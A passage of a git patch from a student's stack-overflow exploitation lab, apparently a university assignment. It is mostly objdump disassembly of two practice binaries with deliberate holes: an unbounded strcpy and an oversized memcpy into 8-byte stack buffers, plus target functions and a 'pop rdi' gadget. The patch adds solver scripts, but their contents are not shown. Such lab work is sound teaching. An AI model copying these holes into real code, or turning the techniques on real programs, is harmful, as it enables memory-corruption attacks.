From 14d587c8862b8e9f5a28e04e68b24a3bd3156aab Mon Sep 17 00:00:00 2001 From: "github-classroom[bot]" <66690702+github-classroom[bot]@users.noreply.github.com> Date: Fri, 16 Jan 2026 14:18:19 +0000 Subject: [PATCH 1/4] Setting up GitHub Classroom Feedback From 54b7fac71c14858a5d5087fafc52e5ece68e8937 Mon Sep 17 00:00:00 2001 From: "github-classroom[bot]" <66690702+github-classroom[bot]@users.noreply.github.com> Date: Fri, 16 Jan 2026 14:18:22 +0000 Subject: [PATCH 2/4] add deadline --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index a15c9e0..b65c209 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,4 @@ +[![Review Assignment Due Date](https://classroom.github.com/assets/deadline-readme-button-22041afd0340ce965d47ae6ef1cefeee28c7c493a6346c4f15d667ab976d596c.svg)](https://classroom.github.com/a/ak7ck2gU) # 栈溢出攻击实验 > "Exploiting is an art, but understanding the principles behind it is science." —— Anon From 4bac3ef3c73b81903354441579e722f6c300a090 Mon Sep 17 00:00:00 2001 From: Keyuq Date: Sat, 17 Jan 2026 23:18:24 +0800 Subject: [PATCH 3/4] =?UTF-8?q?=E5=AE=8C=E6=88=90=E4=BA=861=E5=92=8C2?= =?UTF-8?q?=E5=85=88=E6=8F=90=E4=BA=A4=E4=B8=80=E4=B8=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ans1.txt | Bin 0 -> 24 bytes ans2.txt | Bin 0 -> 40 bytes code1.s | 274 ++++++++++++++++++++++++++++++ code2.s | 324 +++++++++++++++++++++++++++++++++++ code3.s | 390 +++++++++++++++++++++++++++++++++++++++++++ code4.s | 417 ++++++++++++++++++++++++++++++++++++++++++++++ reports/111.png | Bin 0 -> 14866 bytes reports/222.png | Bin 0 -> 17533 bytes reports/report.md | 72 +++++++- solve1.py | 12 ++ solve2.py | 17 ++ 11 files changed, 1501 insertions(+), 5 deletions(-) create mode 100644 ans1.txt create mode 100644 ans2.txt create mode 100644 code1.s create mode 100644 code2.s create mode 100644 code3.s create mode 100644 code4.s create mode 100644 reports/111.png create mode 100644 reports/222.png create mode 100644 solve1.py create mode 100644 solve2.py diff --git a/ans1.txt b/ans1.txt new file mode 100644 index 0000000000000000000000000000000000000000..f041205ab036c34712ccef162c7196f71a33bf21 GIT binary patch literal 24 QcmZ>CLn+a literal 0 HcmV?d00001 diff --git a/ans2.txt b/ans2.txt new file mode 100644 index 0000000000000000000000000000000000000000..adc9cd1519140b5f34400819355de8554ffb6ae6 GIT binary patch literal 40 XcmZ>CL: + 401000: f3 0f 1e fa endbr64 + 401004: 48 83 ec 08 sub $0x8,%rsp + 401008: 48 8b 05 d1 2f 00 00 mov 0x2fd1(%rip),%rax # 403fe0 <__gmon_start__@Base> + 40100f: 48 85 c0 test %rax,%rax + 401012: 74 02 je 401016 <_init+0x16> + 401014: ff d0 call *%rax + 401016: 48 83 c4 08 add $0x8,%rsp + 40101a: c3 ret + +Disassembly of section .plt: + +0000000000401020 <.plt>: + 401020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8> + 401026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10> + 40102c: 0f 1f 40 00 nopl 0x0(%rax) + 401030: f3 0f 1e fa endbr64 + 401034: 68 00 00 00 00 push $0x0 + 401039: e9 e2 ff ff ff jmp 401020 <_init+0x20> + 40103e: 66 90 xchg %ax,%ax + 401040: f3 0f 1e fa endbr64 + 401044: 68 01 00 00 00 push $0x1 + 401049: e9 d2 ff ff ff jmp 401020 <_init+0x20> + 40104e: 66 90 xchg %ax,%ax + 401050: f3 0f 1e fa endbr64 + 401054: 68 02 00 00 00 push $0x2 + 401059: e9 c2 ff ff ff jmp 401020 <_init+0x20> + 40105e: 66 90 xchg %ax,%ax + 401060: f3 0f 1e fa endbr64 + 401064: 68 03 00 00 00 push $0x3 + 401069: e9 b2 ff ff ff jmp 401020 <_init+0x20> + 40106e: 66 90 xchg %ax,%ax + 401070: f3 0f 1e fa endbr64 + 401074: 68 04 00 00 00 push $0x4 + 401079: e9 a2 ff ff ff jmp 401020 <_init+0x20> + 40107e: 66 90 xchg %ax,%ax + 401080: f3 0f 1e fa endbr64 + 401084: 68 05 00 00 00 push $0x5 + 401089: e9 92 ff ff ff jmp 401020 <_init+0x20> + 40108e: 66 90 xchg %ax,%ax + 401090: f3 0f 1e fa endbr64 + 401094: 68 06 00 00 00 push $0x6 + 401099: e9 82 ff ff ff jmp 401020 <_init+0x20> + 40109e: 66 90 xchg %ax,%ax + 4010a0: f3 0f 1e fa endbr64 + 4010a4: 68 07 00 00 00 push $0x7 + 4010a9: e9 72 ff ff ff jmp 401020 <_init+0x20> + 4010ae: 66 90 xchg %ax,%ax + +Disassembly of section .plt.sec: + +00000000004010b0 : + 4010b0: f3 0f 1e fa endbr64 + 4010b4: ff 25 46 2f 00 00 jmp *0x2f46(%rip) # 404000 + 4010ba: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000004010c0 : + 4010c0: f3 0f 1e fa endbr64 + 4010c4: ff 25 3e 2f 00 00 jmp *0x2f3e(%rip) # 404008 + 4010ca: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000004010d0 : + 4010d0: f3 0f 1e fa endbr64 + 4010d4: ff 25 36 2f 00 00 jmp *0x2f36(%rip) # 404010 + 4010da: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000004010e0 : + 4010e0: f3 0f 1e fa endbr64 + 4010e4: ff 25 2e 2f 00 00 jmp *0x2f2e(%rip) # 404018 + 4010ea: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000004010f0 : + 4010f0: f3 0f 1e fa endbr64 + 4010f4: ff 25 26 2f 00 00 jmp *0x2f26(%rip) # 404020 + 4010fa: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +0000000000401100 : + 401100: f3 0f 1e fa endbr64 + 401104: ff 25 1e 2f 00 00 jmp *0x2f1e(%rip) # 404028 + 40110a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +0000000000401110 : + 401110: f3 0f 1e fa endbr64 + 401114: ff 25 16 2f 00 00 jmp *0x2f16(%rip) # 404030 + 40111a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +0000000000401120 : + 401120: f3 0f 1e fa endbr64 + 401124: ff 25 0e 2f 00 00 jmp *0x2f0e(%rip) # 404038 + 40112a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +Disassembly of section .text: + +0000000000401130 <_start>: + 401130: f3 0f 1e fa endbr64 + 401134: 31 ed xor %ebp,%ebp + 401136: 49 89 d1 mov %rdx,%r9 + 401139: 5e pop %rsi + 40113a: 48 89 e2 mov %rsp,%rdx + 40113d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp + 401141: 50 push %rax + 401142: 54 push %rsp + 401143: 45 31 c0 xor %r8d,%r8d + 401146: 31 c9 xor %ecx,%ecx + 401148: 48 c7 c7 58 12 40 00 mov $0x401258,%rdi + 40114f: ff 15 83 2e 00 00 call *0x2e83(%rip) # 403fd8 <__libc_start_main@GLIBC_2.34> + 401155: f4 hlt + 401156: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) + 40115d: 00 00 00 + +0000000000401160 <_dl_relocate_static_pie>: + 401160: f3 0f 1e fa endbr64 + 401164: c3 ret + 401165: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) + 40116c: 00 00 00 + 40116f: 90 nop + +0000000000401170 : + 401170: b8 50 40 40 00 mov $0x404050,%eax + 401175: 48 3d 50 40 40 00 cmp $0x404050,%rax + 40117b: 74 13 je 401190 + 40117d: b8 00 00 00 00 mov $0x0,%eax + 401182: 48 85 c0 test %rax,%rax + 401185: 74 09 je 401190 + 401187: bf 50 40 40 00 mov $0x404050,%edi + 40118c: ff e0 jmp *%rax + 40118e: 66 90 xchg %ax,%ax + 401190: c3 ret + 401191: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 401198: 00 00 00 00 + 40119c: 0f 1f 40 00 nopl 0x0(%rax) + +00000000004011a0 : + 4011a0: be 50 40 40 00 mov $0x404050,%esi + 4011a5: 48 81 ee 50 40 40 00 sub $0x404050,%rsi + 4011ac: 48 89 f0 mov %rsi,%rax + 4011af: 48 c1 ee 3f shr $0x3f,%rsi + 4011b3: 48 c1 f8 03 sar $0x3,%rax + 4011b7: 48 01 c6 add %rax,%rsi + 4011ba: 48 d1 fe sar $1,%rsi + 4011bd: 74 11 je 4011d0 + 4011bf: b8 00 00 00 00 mov $0x0,%eax + 4011c4: 48 85 c0 test %rax,%rax + 4011c7: 74 07 je 4011d0 + 4011c9: bf 50 40 40 00 mov $0x404050,%edi + 4011ce: ff e0 jmp *%rax + 4011d0: c3 ret + 4011d1: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 4011d8: 00 00 00 00 + 4011dc: 0f 1f 40 00 nopl 0x0(%rax) + +00000000004011e0 <__do_global_dtors_aux>: + 4011e0: f3 0f 1e fa endbr64 + 4011e4: 80 3d 7d 2e 00 00 00 cmpb $0x0,0x2e7d(%rip) # 404068 + 4011eb: 75 13 jne 401200 <__do_global_dtors_aux+0x20> + 4011ed: 55 push %rbp + 4011ee: 48 89 e5 mov %rsp,%rbp + 4011f1: e8 7a ff ff ff call 401170 + 4011f6: c6 05 6b 2e 00 00 01 movb $0x1,0x2e6b(%rip) # 404068 + 4011fd: 5d pop %rbp + 4011fe: c3 ret + 4011ff: 90 nop + 401200: c3 ret + 401201: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 401208: 00 00 00 00 + 40120c: 0f 1f 40 00 nopl 0x0(%rax) + +0000000000401210 : + 401210: f3 0f 1e fa endbr64 + 401214: eb 8a jmp 4011a0 + +0000000000401216 : + 401216: f3 0f 1e fa endbr64 + 40121a: 55 push %rbp + 40121b: 48 89 e5 mov %rsp,%rbp + 40121e: bf 04 20 40 00 mov $0x402004,%edi + 401223: e8 98 fe ff ff call 4010c0 + 401228: bf 00 00 00 00 mov $0x0,%edi + 40122d: e8 ee fe ff ff call 401120 + +0000000000401232 : + 401232: f3 0f 1e fa endbr64 + 401236: 55 push %rbp + 401237: 48 89 e5 mov %rsp,%rbp + 40123a: 48 83 ec 20 sub $0x20,%rsp + 40123e: 48 89 7d e8 mov %rdi,-0x18(%rbp) + 401242: 48 8b 55 e8 mov -0x18(%rbp),%rdx + 401246: 48 8d 45 f8 lea -0x8(%rbp),%rax + 40124a: 48 89 d6 mov %rdx,%rsi + 40124d: 48 89 c7 mov %rax,%rdi + 401250: e8 5b fe ff ff call 4010b0 + 401255: 90 nop + 401256: c9 leave + 401257: c3 ret + +0000000000401258
: + 401258: f3 0f 1e fa endbr64 + 40125c: 55 push %rbp + 40125d: 48 89 e5 mov %rsp,%rbp + 401260: 48 81 ec 20 01 00 00 sub $0x120,%rsp + 401267: 89 bd ec fe ff ff mov %edi,-0x114(%rbp) + 40126d: 48 89 b5 e0 fe ff ff mov %rsi,-0x120(%rbp) + 401274: bf 14 20 40 00 mov $0x402014,%edi + 401279: e8 42 fe ff ff call 4010c0 + 40127e: 83 bd ec fe ff ff 02 cmpl $0x2,-0x114(%rbp) + 401285: 74 2d je 4012b4 + 401287: 48 8b 85 e0 fe ff ff mov -0x120(%rbp),%rax + 40128e: 48 8b 10 mov (%rax),%rdx + 401291: 48 8b 05 c8 2d 00 00 mov 0x2dc8(%rip),%rax # 404060 + 401298: be 25 20 40 00 mov $0x402025,%esi + 40129d: 48 89 c7 mov %rax,%rdi + 4012a0: b8 00 00 00 00 mov $0x0,%eax + 4012a5: e8 46 fe ff ff call 4010f0 + 4012aa: b8 01 00 00 00 mov $0x1,%eax + 4012af: e9 bd 00 00 00 jmp 401371 + 4012b4: 48 8b 85 e0 fe ff ff mov -0x120(%rbp),%rax + 4012bb: 48 83 c0 08 add $0x8,%rax + 4012bf: 48 8b 00 mov (%rax),%rax + 4012c2: be 37 20 40 00 mov $0x402037,%esi + 4012c7: 48 89 c7 mov %rax,%rdi + 4012ca: e8 31 fe ff ff call 401100 + 4012cf: 48 89 45 f8 mov %rax,-0x8(%rbp) + 4012d3: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) + 4012d8: 75 14 jne 4012ee + 4012da: bf 39 20 40 00 mov $0x402039,%edi + 4012df: e8 2c fe ff ff call 401110 + 4012e4: b8 01 00 00 00 mov $0x1,%eax + 4012e9: e9 83 00 00 00 jmp 401371 + 4012ee: 48 8b 55 f8 mov -0x8(%rbp),%rdx + 4012f2: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax + 4012f9: 48 89 d1 mov %rdx,%rcx + 4012fc: ba 00 01 00 00 mov $0x100,%edx + 401301: be 01 00 00 00 mov $0x1,%esi + 401306: 48 89 c7 mov %rax,%rdi + 401309: e8 c2 fd ff ff call 4010d0 + 40130e: 48 89 45 f0 mov %rax,-0x10(%rbp) + 401312: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp) + 401317: 75 1d jne 401336 + 401319: bf 3f 20 40 00 mov $0x40203f,%edi + 40131e: e8 ed fd ff ff call 401110 + 401323: 48 8b 45 f8 mov -0x8(%rbp),%rax + 401327: 48 89 c7 mov %rax,%rdi + 40132a: e8 b1 fd ff ff call 4010e0 + 40132f: b8 01 00 00 00 mov $0x1,%eax + 401334: eb 3b jmp 401371 + 401336: 48 8d 95 f0 fe ff ff lea -0x110(%rbp),%rdx + 40133d: 48 8b 45 f0 mov -0x10(%rbp),%rax + 401341: 48 01 d0 add %rdx,%rax + 401344: c6 00 00 movb $0x0,(%rax) + 401347: 48 8b 45 f8 mov -0x8(%rbp),%rax + 40134b: 48 89 c7 mov %rax,%rdi + 40134e: e8 8d fd ff ff call 4010e0 + 401353: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax + 40135a: 48 89 c7 mov %rax,%rdi + 40135d: e8 d0 fe ff ff call 401232 + 401362: bf 45 20 40 00 mov $0x402045,%edi + 401367: e8 54 fd ff ff call 4010c0 + 40136c: b8 00 00 00 00 mov $0x0,%eax + 401371: c9 leave + 401372: c3 ret + +Disassembly of section .fini: + +0000000000401374 <_fini>: + 401374: f3 0f 1e fa endbr64 + 401378: 48 83 ec 08 sub $0x8,%rsp + 40137c: 48 83 c4 08 add $0x8,%rsp + 401380: c3 ret diff --git a/code2.s b/code2.s new file mode 100644 index 0000000..328c64e --- /dev/null +++ b/code2.s @@ -0,0 +1,324 @@ + +problem2: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000401000 <_init>: + 401000: f3 0f 1e fa endbr64 + 401004: 48 83 ec 08 sub $0x8,%rsp + 401008: 48 8b 05 d1 2f 00 00 mov 0x2fd1(%rip),%rax # 403fe0 <__gmon_start__@Base> + 40100f: 48 85 c0 test %rax,%rax + 401012: 74 02 je 401016 <_init+0x16> + 401014: ff d0 call *%rax + 401016: 48 83 c4 08 add $0x8,%rsp + 40101a: c3 ret + +Disassembly of section .plt: + +0000000000401020 <.plt>: + 401020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8> + 401026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10> + 40102c: 0f 1f 40 00 nopl 0x0(%rax) + 401030: f3 0f 1e fa endbr64 + 401034: 68 00 00 00 00 push $0x0 + 401039: e9 e2 ff ff ff jmp 401020 <_init+0x20> + 40103e: 66 90 xchg %ax,%ax + 401040: f3 0f 1e fa endbr64 + 401044: 68 01 00 00 00 push $0x1 + 401049: e9 d2 ff ff ff jmp 401020 <_init+0x20> + 40104e: 66 90 xchg %ax,%ax + 401050: f3 0f 1e fa endbr64 + 401054: 68 02 00 00 00 push $0x2 + 401059: e9 c2 ff ff ff jmp 401020 <_init+0x20> + 40105e: 66 90 xchg %ax,%ax + 401060: f3 0f 1e fa endbr64 + 401064: 68 03 00 00 00 push $0x3 + 401069: e9 b2 ff ff ff jmp 401020 <_init+0x20> + 40106e: 66 90 xchg %ax,%ax + 401070: f3 0f 1e fa endbr64 + 401074: 68 04 00 00 00 push $0x4 + 401079: e9 a2 ff ff ff jmp 401020 <_init+0x20> + 40107e: 66 90 xchg %ax,%ax + 401080: f3 0f 1e fa endbr64 + 401084: 68 05 00 00 00 push $0x5 + 401089: e9 92 ff ff ff jmp 401020 <_init+0x20> + 40108e: 66 90 xchg %ax,%ax + 401090: f3 0f 1e fa endbr64 + 401094: 68 06 00 00 00 push $0x6 + 401099: e9 82 ff ff ff jmp 401020 <_init+0x20> + 40109e: 66 90 xchg %ax,%ax + 4010a0: f3 0f 1e fa endbr64 + 4010a4: 68 07 00 00 00 push $0x7 + 4010a9: e9 72 ff ff ff jmp 401020 <_init+0x20> + 4010ae: 66 90 xchg %ax,%ax + +Disassembly of section .plt.sec: + +00000000004010b0 : + 4010b0: f3 0f 1e fa endbr64 + 4010b4: ff 25 46 2f 00 00 jmp *0x2f46(%rip) # 404000 + 4010ba: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000004010c0 : + 4010c0: f3 0f 1e fa endbr64 + 4010c4: ff 25 3e 2f 00 00 jmp *0x2f3e(%rip) # 404008 + 4010ca: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000004010d0 : + 4010d0: f3 0f 1e fa endbr64 + 4010d4: ff 25 36 2f 00 00 jmp *0x2f36(%rip) # 404010 + 4010da: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000004010e0 : + 4010e0: f3 0f 1e fa endbr64 + 4010e4: ff 25 2e 2f 00 00 jmp *0x2f2e(%rip) # 404018 + 4010ea: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +00000000004010f0 : + 4010f0: f3 0f 1e fa endbr64 + 4010f4: ff 25 26 2f 00 00 jmp *0x2f26(%rip) # 404020 + 4010fa: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +0000000000401100 : + 401100: f3 0f 1e fa endbr64 + 401104: ff 25 1e 2f 00 00 jmp *0x2f1e(%rip) # 404028 + 40110a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +0000000000401110 : + 401110: f3 0f 1e fa endbr64 + 401114: ff 25 16 2f 00 00 jmp *0x2f16(%rip) # 404030 + 40111a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +0000000000401120 : + 401120: f3 0f 1e fa endbr64 + 401124: ff 25 0e 2f 00 00 jmp *0x2f0e(%rip) # 404038 + 40112a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) + +Disassembly of section .text: + +0000000000401130 <_start>: + 401130: f3 0f 1e fa endbr64 + 401134: 31 ed xor %ebp,%ebp + 401136: 49 89 d1 mov %rdx,%r9 + 401139: 5e pop %rsi + 40113a: 48 89 e2 mov %rsp,%rdx + 40113d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp + 401141: 50 push %rax + 401142: 54 push %rsp + 401143: 45 31 c0 xor %r8d,%r8d + 401146: 31 c9 xor %ecx,%ecx + 401148: 48 c7 c7 cc 12 40 00 mov $0x4012cc,%rdi + 40114f: ff 15 83 2e 00 00 call *0x2e83(%rip) # 403fd8 <__libc_start_main@GLIBC_2.34> + 401155: f4 hlt + 401156: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) + 40115d: 00 00 00 + +0000000000401160 <_dl_relocate_static_pie>: + 401160: f3 0f 1e fa endbr64 + 401164: c3 ret + 401165: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) + 40116c: 00 00 00 + 40116f: 90 nop + +0000000000401170 : + 401170: b8 50 40 40 00 mov $0x404050,%eax + 401175: 48 3d 50 40 40 00 cmp $0x404050,%rax + 40117b: 74 13 je 401190 + 40117d: b8 00 00 00 00 mov $0x0,%eax + 401182: 48 85 c0 test %rax,%rax + 401185: 74 09 je 401190 + 401187: bf 50 40 40 00 mov $0x404050,%edi + 40118c: ff e0 jmp *%rax + 40118e: 66 90 xchg %ax,%ax + 401190: c3 ret + 401191: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 401198: 00 00 00 00 + 40119c: 0f 1f 40 00 nopl 0x0(%rax) + +00000000004011a0 : + 4011a0: be 50 40 40 00 mov $0x404050,%esi + 4011a5: 48 81 ee 50 40 40 00 sub $0x404050,%rsi + 4011ac: 48 89 f0 mov %rsi,%rax + 4011af: 48 c1 ee 3f shr $0x3f,%rsi + 4011b3: 48 c1 f8 03 sar $0x3,%rax + 4011b7: 48 01 c6 add %rax,%rsi + 4011ba: 48 d1 fe sar $1,%rsi + 4011bd: 74 11 je 4011d0 + 4011bf: b8 00 00 00 00 mov $0x0,%eax + 4011c4: 48 85 c0 test %rax,%rax + 4011c7: 74 07 je 4011d0 + 4011c9: bf 50 40 40 00 mov $0x404050,%edi + 4011ce: ff e0 jmp *%rax + 4011d0: c3 ret + 4011d1: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 4011d8: 00 00 00 00 + 4011dc: 0f 1f 40 00 nopl 0x0(%rax) + +00000000004011e0 <__do_global_dtors_aux>: + 4011e0: f3 0f 1e fa endbr64 + 4011e4: 80 3d 7d 2e 00 00 00 cmpb $0x0,0x2e7d(%rip) # 404068 + 4011eb: 75 13 jne 401200 <__do_global_dtors_aux+0x20> + 4011ed: 55 push %rbp + 4011ee: 48 89 e5 mov %rsp,%rbp + 4011f1: e8 7a ff ff ff call 401170 + 4011f6: c6 05 6b 2e 00 00 01 movb $0x1,0x2e6b(%rip) # 404068 + 4011fd: 5d pop %rbp + 4011fe: c3 ret + 4011ff: 90 nop + 401200: c3 ret + 401201: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) + 401208: 00 00 00 00 + 40120c: 0f 1f 40 00 nopl 0x0(%rax) + +0000000000401210 : + 401210: f3 0f 1e fa endbr64 + 401214: eb 8a jmp 4011a0 + +0000000000401216 : + 401216: f3 0f 1e fa endbr64 + 40121a: 55 push %rbp + 40121b: 48 89 e5 mov %rsp,%rbp + 40121e: 48 83 ec 10 sub $0x10,%rsp + 401222: 89 7d fc mov %edi,-0x4(%rbp) + 401225: 81 7d fc f8 03 00 00 cmpl $0x3f8,-0x4(%rbp) + 40122c: 74 1e je 40124c + 40122e: 48 8d 05 d3 0d 00 00 lea 0xdd3(%rip),%rax # 402008 <_IO_stdin_used+0x8> + 401235: 48 89 c7 mov %rax,%rdi + 401238: b8 00 00 00 00 mov $0x0,%eax + 40123d: e8 8e fe ff ff call 4010d0 + 401242: bf 00 00 00 00 mov $0x0,%edi + 401247: e8 d4 fe ff ff call 401120 + 40124c: 48 8d 05 e8 0d 00 00 lea 0xde8(%rip),%rax # 40203b <_IO_stdin_used+0x3b> + 401253: 48 89 c7 mov %rax,%rdi + 401256: b8 00 00 00 00 mov $0x0,%eax + 40125b: e8 70 fe ff ff call 4010d0 + 401260: bf 00 00 00 00 mov $0x0,%edi + 401265: e8 b6 fe ff ff call 401120 + +000000000040126a : + 40126a: f3 0f 1e fa endbr64 + 40126e: 55 push %rbp + 40126f: 48 89 e5 mov %rsp,%rbp + 401272: 48 83 ec 10 sub $0x10,%rsp + 401276: 89 7d fc mov %edi,-0x4(%rbp) + 401279: 48 8d 05 cc 0d 00 00 lea 0xdcc(%rip),%rax # 40204c <_IO_stdin_used+0x4c> + 401280: 48 89 c7 mov %rax,%rdi + 401283: b8 00 00 00 00 mov $0x0,%eax + 401288: e8 43 fe ff ff call 4010d0 + 40128d: 90 nop + 40128e: c9 leave + 40128f: c3 ret + +0000000000401290 : + 401290: f3 0f 1e fa endbr64 + 401294: 55 push %rbp + 401295: 48 89 e5 mov %rsp,%rbp + 401298: 48 83 ec 20 sub $0x20,%rsp + 40129c: 48 89 7d e8 mov %rdi,-0x18(%rbp) + 4012a0: 48 8b 4d e8 mov -0x18(%rbp),%rcx + 4012a4: 48 8d 45 f8 lea -0x8(%rbp),%rax + 4012a8: ba 38 00 00 00 mov $0x38,%edx + 4012ad: 48 89 ce mov %rcx,%rsi + 4012b0: 48 89 c7 mov %rax,%rdi + 4012b3: e8 38 fe ff ff call 4010f0 + 4012b8: 90 nop + 4012b9: c9 leave + 4012ba: c3 ret + +00000000004012bb : + 4012bb: f3 0f 1e fa endbr64 + 4012bf: 55 push %rbp + 4012c0: 48 89 e5 mov %rsp,%rbp + 4012c3: 48 89 7d f8 mov %rdi,-0x8(%rbp) + 4012c7: 5f pop %rdi + 4012c8: c3 ret + 4012c9: 90 nop + 4012ca: 5d pop %rbp + 4012cb: c3 ret + +00000000004012cc
: + 4012cc: f3 0f 1e fa endbr64 + 4012d0: 55 push %rbp + 4012d1: 48 89 e5 mov %rsp,%rbp + 4012d4: 48 81 ec 30 01 00 00 sub $0x130,%rsp + 4012db: 89 bd dc fe ff ff mov %edi,-0x124(%rbp) + 4012e1: 48 89 b5 d0 fe ff ff mov %rsi,-0x130(%rbp) + 4012e8: 48 8d 05 7b 0d 00 00 lea 0xd7b(%rip),%rax # 40206a <_IO_stdin_used+0x6a> + 4012ef: 48 89 c7 mov %rax,%rdi + 4012f2: b8 00 00 00 00 mov $0x0,%eax + 4012f7: e8 d4 fd ff ff call 4010d0 + 4012fc: 83 bd dc fe ff ff 02 cmpl $0x2,-0x124(%rbp) + 401303: 74 32 je 401337 + 401305: 48 8b 85 d0 fe ff ff mov -0x130(%rbp),%rax + 40130c: 48 8b 10 mov (%rax),%rdx + 40130f: 48 8b 05 4a 2d 00 00 mov 0x2d4a(%rip),%rax # 404060 + 401316: 48 8d 0d 5f 0d 00 00 lea 0xd5f(%rip),%rcx # 40207c <_IO_stdin_used+0x7c> + 40131d: 48 89 ce mov %rcx,%rsi + 401320: 48 89 c7 mov %rax,%rdi + 401323: b8 00 00 00 00 mov $0x0,%eax + 401328: e8 b3 fd ff ff call 4010e0 + 40132d: b8 01 00 00 00 mov $0x1,%eax + 401332: e9 e7 00 00 00 jmp 40141e + 401337: 48 8b 85 d0 fe ff ff mov -0x130(%rbp),%rax + 40133e: 48 83 c0 08 add $0x8,%rax + 401342: 48 8b 00 mov (%rax),%rax + 401345: 48 8d 15 42 0d 00 00 lea 0xd42(%rip),%rdx # 40208e <_IO_stdin_used+0x8e> + 40134c: 48 89 d6 mov %rdx,%rsi + 40134f: 48 89 c7 mov %rax,%rdi + 401352: e8 a9 fd ff ff call 401100 + 401357: 48 89 45 f8 mov %rax,-0x8(%rbp) + 40135b: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) + 401360: 75 19 jne 40137b + 401362: 48 8d 05 27 0d 00 00 lea 0xd27(%rip),%rax # 402090 <_IO_stdin_used+0x90> + 401369: 48 89 c7 mov %rax,%rdi + 40136c: e8 9f fd ff ff call 401110 + 401371: b8 01 00 00 00 mov $0x1,%eax + 401376: e9 a3 00 00 00 jmp 40141e + 40137b: 48 8b 55 f8 mov -0x8(%rbp),%rdx + 40137f: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax + 401386: 48 89 d1 mov %rdx,%rcx + 401389: ba 00 01 00 00 mov $0x100,%edx + 40138e: be 01 00 00 00 mov $0x1,%esi + 401393: 48 89 c7 mov %rax,%rdi + 401396: e8 15 fd ff ff call 4010b0 + 40139b: 48 89 45 f0 mov %rax,-0x10(%rbp) + 40139f: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp) + 4013a4: 75 22 jne 4013c8 + 4013a6: 48 8d 05 e9 0c 00 00 lea 0xce9(%rip),%rax # 402096 <_IO_stdin_used+0x96> + 4013ad: 48 89 c7 mov %rax,%rdi + 4013b0: e8 5b fd ff ff call 401110 + 4013b5: 48 8b 45 f8 mov -0x8(%rbp),%rax + 4013b9: 48 89 c7 mov %rax,%rdi + 4013bc: e8 ff fc ff ff call 4010c0 + 4013c1: b8 01 00 00 00 mov $0x1,%eax + 4013c6: eb 56 jmp 40141e + 4013c8: 48 8d 95 e0 fe ff ff lea -0x120(%rbp),%rdx + 4013cf: 48 8b 45 f0 mov -0x10(%rbp),%rax + 4013d3: 48 01 d0 add %rdx,%rax + 4013d6: c6 00 00 movb $0x0,(%rax) + 4013d9: 48 8b 45 f8 mov -0x8(%rbp),%rax + 4013dd: 48 89 c7 mov %rax,%rdi + 4013e0: e8 db fc ff ff call 4010c0 + 4013e5: c7 45 ec 01 00 00 00 movl $0x1,-0x14(%rbp) + 4013ec: 8b 45 ec mov -0x14(%rbp),%eax + 4013ef: 89 c7 mov %eax,%edi + 4013f1: e8 74 fe ff ff call 40126a + 4013f6: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax + 4013fd: 48 89 c7 mov %rax,%rdi + 401400: e8 8b fe ff ff call 401290 + 401405: 48 8d 05 90 0c 00 00 lea 0xc90(%rip),%rax # 40209c <_IO_stdin_used+0x9c> + 40140c: 48 89 c7 mov %rax,%rdi + 40140f: b8 00 00 00 00 mov $0x0,%eax + 401414: e8 b7 fc ff ff call 4010d0 + 401419: b8 00 00 00 00 mov $0x0,%eax + 40141e: c9 leave + 40141f: c3 ret + +Disassembly of section .fini: + +0000000000401420 <_fini>: + 401420: f3 0f 1e fa endbr64 + 401424: 48 83 ec 08 sub $0x8,%rsp + 401428: 48 83 c4 08 add $0x8,%rsp + 40142c: c3 ret diff --git 